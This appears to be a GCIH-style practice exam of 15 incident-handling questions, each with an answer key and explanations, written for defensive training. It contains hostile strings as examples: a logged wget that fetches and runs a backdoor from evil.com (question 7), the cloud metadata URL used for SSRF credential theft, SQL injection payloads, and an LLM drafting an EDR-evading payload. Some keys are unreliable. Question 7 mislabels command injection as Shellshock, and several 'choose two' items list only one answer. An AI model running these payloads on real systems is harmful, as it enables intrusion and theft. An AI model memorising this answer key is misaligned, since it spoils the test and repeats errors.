GCIH Practice Test 14 — 15 Questions

Question 1

An incident responder is analyzing a compromised AWS EC2 instance that was used to exfiltrate data from an S3 bucket. The attacker gained access by exploiting a server-side request forgery (SSRF) vulnerability in a web application running on the instance. The instance had an IAM role attached that allowed s3:GetObject on a sensitive bucket. Which of the following logs would provide the MOST direct evidence of the S3 data access by the attacker?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

AWS CloudTrail data events for the S3 bucket.. CloudTrail data events for S3 capture object-level API calls, including the identity of the caller (the IAM role) and the specific objects accessed. This directly evidences the exfiltration. Management events do not include data plane operations, S3 server access logs are less integrated, and VPC Flow Logs lack application-layer detail. Thus, CloudTrail data events are the most direct source.

Answer

Amazon S3 server access logs.

Answer

AWS CloudTrail management events for the S3 service.

Answer

VPC Flow Logs for the EC2 instance's network interface.

Question 2

An incident handler is examining a packet capture from a compromised workstation and observes a series of DNS queries for domains like 'a1b2c3d4e5.exfil.example.com', each followed by a large TXT response. The queries are sent at regular 30-second intervals, and the subdomains contain random-looking alphanumeric strings. Which of the following techniques is MOST likely being used by the attacker?

Accepted Answer

DNS tunneling for data exfiltration. The correct answer is DNS tunneling for data exfiltration. The combination of regular intervals, random subdomains, and large TXT responses is a hallmark of DNS tunneling, where attackers encode data in DNS queries and responses to bypass network filters. This allows stealthy exfiltration even when other protocols are blocked. Fast-flux, cache poisoning, and DGA do not involve such data transfer patterns.

Answer

DNS cache poisoning to redirect traffic

Answer

Fast-flux DNS for resilience

Answer

Domain generation algorithm (DGA) for C2

Question 3

A security analyst is reviewing a packet capture from a compromised host and observes a series of DNS queries for randomly generated subdomains of a single domain, each followed by a TXT record response containing encoded data. The queries occur at regular intervals of approximately 60 seconds. Which type of attack is most strongly indicated by this pattern?

Accepted Answer

DNS tunneling for command and control. DNS tunneling exploits the DNS protocol to carry data covertly. The random subdomains and TXT records with encoded payloads, combined with regular timing, strongly indicate a command-and-control channel. This method is popular because DNS is often allowed through firewalls. Recognizing this pattern allows incident handlers to block the domain and investigate the infected host for malware.

Answer

DNS amplification DDoS

Answer

Fast flux DNS

Answer

DNS cache poisoning

Question 4

An incident handler is analyzing a compromised Windows workstation and discovers that the attacker extracted password hashes from the SAM database. The handler wants to determine which types of attacks the attacker could perform using these hashes. (Choose two.)

Accepted Answer

Pass-the-hash to authenticate to other Windows systems using the NTLM hash without knowing the plaintext password.. The two correct attacks are pass-the-hash and offline cracking. Pass-the-hash exploits NTLM's design to authenticate using the hash directly, enabling lateral movement without cracking. Offline cracking attempts to recover plaintext passwords for broader reuse. DPAPI does not decrypt hashes, golden tickets require domain-level secrets, and reversing a hash algorithm is not feasible.

Answer

Directly decrypt the NTLM hashes using the Windows Data Protection API (DPAPI) to obtain cleartext passwords.

Answer

Use the hashes to generate Kerberos golden tickets without any further privileges or domain compromise.

Answer

Recover the original plaintext passwords by reversing the MD5 algorithm used to store them in the SAM database.

Question 5

An incident handler is documenting an intrusion in which the attacker used a locally hosted LLM to summarize harvested credentials and prioritize lateral movement targets. The handler wants to cite the model's activity in the report but must avoid presenting model output as established fact. Which approach best meets that requirement?

Accepted Answer

Reproduce the attacker's prompts against the same model build and label the resulting summaries as analytical reconstructions rather than confirmed attacker statements.. When attacker tooling includes an LLM, the handler's job is to distinguish observed artifacts from reconstructed inference. Re-running the same prompts on the same model build and labeling the output as a reconstruction preserves analytical insight while avoiding the claim that model output equals attacker intent. Verbatim attribution, omission, and false attribution all distort the record in different ways.

Answer

Omit the LLM activity entirely because model output cannot be treated as reliable evidence in an incident report.

Answer

Attribute the summaries to the incident handler's own analysis so the report reads as a single consistent narrative.

Answer

Present the model's summaries verbatim as the attacker's own conclusions, since the model output was recovered from the host.

Question 6

An incident responder is analyzing a web application that uses a REST API. The API accepts a 'file' parameter that specifies a URL from which to fetch an image. The responder observes that an attacker supplied a URL pointing to an internal metadata service (e.g., http://169.254.169.254/latest/meta-data/) and successfully retrieved sensitive instance credentials. Which vulnerability class does this represent?

Accepted Answer

Server-Side Request Forgery (SSRF). The server fetched a user-supplied URL, which pointed to an internal metadata service, and returned sensitive credentials. This is a Server-Side Request Forgery (SSRF) attack, where the attacker abuses the server's ability to make requests to internal resources. The other options describe different attack vectors that do not involve the server making arbitrary outbound requests based on user input. SSRF is the correct classification.

Answer

Insecure Direct Object Reference (IDOR)

Answer

Cross-Site Request Forgery (CSRF)

Answer

XML External Entity (XXE) injection

Question 7

A security incident responder is analyzing a web server compromise. The attacker gained initial access through a vulnerable web application and then executed a command to download a tool from a remote server. The responder finds the following in the web server logs: `GET /cgi-bin/printenv?QUERY_STRING=%3Bwget%20http%3A%2F%2Fevil.com%2Fbackdoor%20-O%20%2Ftmp%2Fbd%3Bchmod%20%2Bx%20%2Ftmp%2Fbd%3B%2Ftmp%2Fbd`. The responder needs to identify the specific technique used and the appropriate containment step. Which of the following best describes the technique and the immediate containment action?

Accepted Answer

Shellshock exploitation; isolate the server by removing it from the network and preserve volatile evidence before patching Bash.. The log entry shows a Shellshock exploit against the `printenv` CGI script, where commands in the `QUERY_STRING` are executed by Bash. The immediate containment is to isolate the server to prevent lateral movement, preserve volatile evidence, and then patch the Bash vulnerability. The other options misidentify the attack as SQL injection, XSS, or IDOR, none of which involve shell command execution.

Answer

Cross-site scripting; sanitize the `QUERY_STRING` parameter and notify users of potential cookie theft.

Answer

Insecure Direct Object Reference; change the object references in the application and implement access controls.

Answer

SQL injection; review database logs and apply input validation to the `QUERY_STRING` parameter.

Question 8

An incident handler is investigating a suspected data exfiltration on a Windows workstation. The SIEM generated an alert for a large outbound transfer to an unfamiliar IP address. The handler needs to determine which process initiated the connection. Which built-in Windows tool is most appropriate to correlate the active network connection to its owning process?

Accepted Answer

netstat -ano. Correlating a live network connection to its owning process is a core incident response task. The netstat -ano command provides the essential PID mapping, which can then be resolved to an executable using tasklist or Task Manager. This native capability allows rapid triage without installing additional tools, directly answering which process initiated the suspicious outbound transfer.

Answer

nslookup

Answer

tracert

Answer

arp -a

Question 9

An incident handler is examining a web server's access logs after a suspected SQL injection attempt. The log shows a request with a long URL containing multiple single quotes and 'UNION SELECT' statements. Which log field is most critical to correlate this request with other events to determine if the attack succeeded?

Accepted Answer

The source IP address and timestamp. Correlating events across disparate logs requires a common identifier such as source IP and timestamp. These fields allow the incident handler to pivot from the web server log to database logs, firewall logs, or IDS alerts to see if the SQL injection resulted in data extraction, error messages, or additional requests. Other fields like User-Agent or status code may provide context but lack the uniqueness needed for reliable correlation.

Answer

The HTTP status code

Answer

The User-Agent string

Answer

The requested URL path

Question 10

An incident handler is investigating a breach where an attacker gained access to a system that uses a password manager. The password manager stores all user passwords in an encrypted vault protected by a single master password. The attacker was able to extract the encrypted vault and is now attempting to crack the master password offline. Which of the following characteristics of the password manager's key derivation function would most significantly increase the attacker's difficulty?

Accepted Answer

Using a high iteration count with a memory-hard function like Argon2id.. The key derivation function used to transform the master password into an encryption key is critical. A memory-hard function like Argon2id with a high iteration count requires large amounts of memory and CPU time per guess, making offline brute-force attacks impractical. This significantly increases the cost for the attacker, even with specialized hardware.

Answer

Encrypting the vault with AES-256 in CBC mode.

Answer

Using a simple hash function like SHA-256 with a salt.

Answer

Storing the master password hash in a separate hardware security module (HSM).

Question 11

A financial services company is hardening a REST API that returns account statements. Each request includes a numeric `accountId`, and the API currently returns the statement whenever the `accountId` exists. The security team wants to close the insecure direct object reference exposure without redesigning the data model. Which two controls, applied together, most directly address the flaw? (Choose two.)

Accepted Answer

Derive the account identifier from the authenticated session context instead of trusting the client-supplied `accountId`.. The exposure exists because the API trusts a client-supplied identifier and never checks entitlement. Binding the account to the authenticated session removes the attacker's ability to name arbitrary objects, and an explicit ownership or delegation check catches legitimate cases where identifiers must be supplied. Together these enforce object-level authorization on every request, which is the durable fix for insecure direct object references.

Answer

Increase the account identifier length from six digits to a random 128-bit value so that account numbers cannot be enumerated.

Answer

Require TLS 1.3 with mutual authentication between the mobile client and the API gateway for every statement request.

Answer

Log every statement request with the account identifier and alert when a single session requests more than one distinct account.

Question 12

During an authorized red team engagement, an operator uses a locally hosted LLM to draft a novel payload that evades the client's endpoint detection. Before delivering the payload to the target, the operator must validate the model's output. Which two practices best support safe, accountable use of the generated payload? (Choose two.)

Accepted Answer

Execute the generated payload first in an isolated lab replica of the target environment and confirm its behavior matches the engagement's rules of engagement.. AI-assisted payload generation shifts the operator's job from writing code to validating it. Isolated execution against a lab replica confirms the artifact behaves within the authorized scope, and logging the prompt, model version, and payload hash preserves reproducibility and accountability for the client debrief and any later forensic review. Self-review, public disclosure, and blind trust in fine-tuning all substitute assumption for evidence.

Answer

Trust the payload because the LLM was fine-tuned on a corpus of validated offensive security code.

Answer

Ask the same LLM to review its own payload and confirm that it is safe to run against the target.

Answer

Publish the generated payload to a public repository so peers can review it before the engagement proceeds.

Question 13

A junior incident handler is reviewing password storage practices for a legacy application. The application stores passwords as unsalted MD5 hashes. Which of the following best describes the primary risk introduced by the lack of salting?

Accepted Answer

Attackers can use precomputed rainbow tables to quickly reverse hashes for common passwords, and identical passwords produce identical hashes, revealing users who share the same password.. The primary risk of unsalted hashes is that attackers can use precomputed rainbow tables to quickly crack common passwords and that identical passwords yield identical hashes, exposing password reuse. Salting addresses both by making each hash unique and defeating precomputation. MD5 remains irreversible, length extension is a separate issue, and salting does not significantly affect hash speed.

Answer

The MD5 algorithm becomes reversible, allowing attackers to decrypt any hash back to the original password using the public MD5 specification.

Answer

Without a salt, the hash function runs faster, making brute-force attacks more feasible because the attacker can test more candidates per second.

Answer

The absence of a salt makes the hashes vulnerable to length extension attacks, allowing an attacker to append data and forge valid hashes.

Question 14

An incident responder is investigating a Windows endpoint where an attacker used the Windows Management Instrumentation (WMI) event subscription mechanism to establish persistence. The responder wants to identify the specific WMI components created by the attacker. Which two of the following WMI artifacts should the responder examine to find the malicious event subscription? (Choose two.)

Accepted Answer

__EventFilter instances in the root\subscription namespace. WMI event subscription persistence consists of three components: __EventFilter, __EventConsumer, and __FilterToConsumerBinding. The filter defines the trigger, and the consumer defines the action. Examining __EventFilter and __EventConsumer instances in the root\subscription namespace will reveal the malicious subscription's details, including the trigger query and the payload executed. The other options represent different persistence mechanisms.

Answer

Win32_Service instances in the root\cimv2 namespace

Answer

MSFT_ScheduledTask instances in the root\Microsoft\Windows\TaskScheduler namespace

Answer

Win32_StartupCommand instances in the root\cimv2 namespace

Question 15

A security analyst is reviewing logs from a web application firewall (WAF) and notices a series of requests containing payloads like ' OR 1=1 --' and 'UNION SELECT username, password FROM users'. These requests are targeting the login endpoint. Which type of attack is being attempted?

Accepted Answer

SQL Injection (SQLi). The payloads contain SQL keywords and syntax designed to alter database queries, such as bypassing authentication or extracting data via UNION. This is characteristic of SQL injection. The other options represent different attack categories: XSS targets client-side scripts, command injection targets OS commands, and CSRF targets user browsers. The evidence clearly points to SQL injection.

Answer

Cross-Site Request Forgery (CSRF)

Answer

Cross-Site Scripting (XSS)

Answer

Command Injection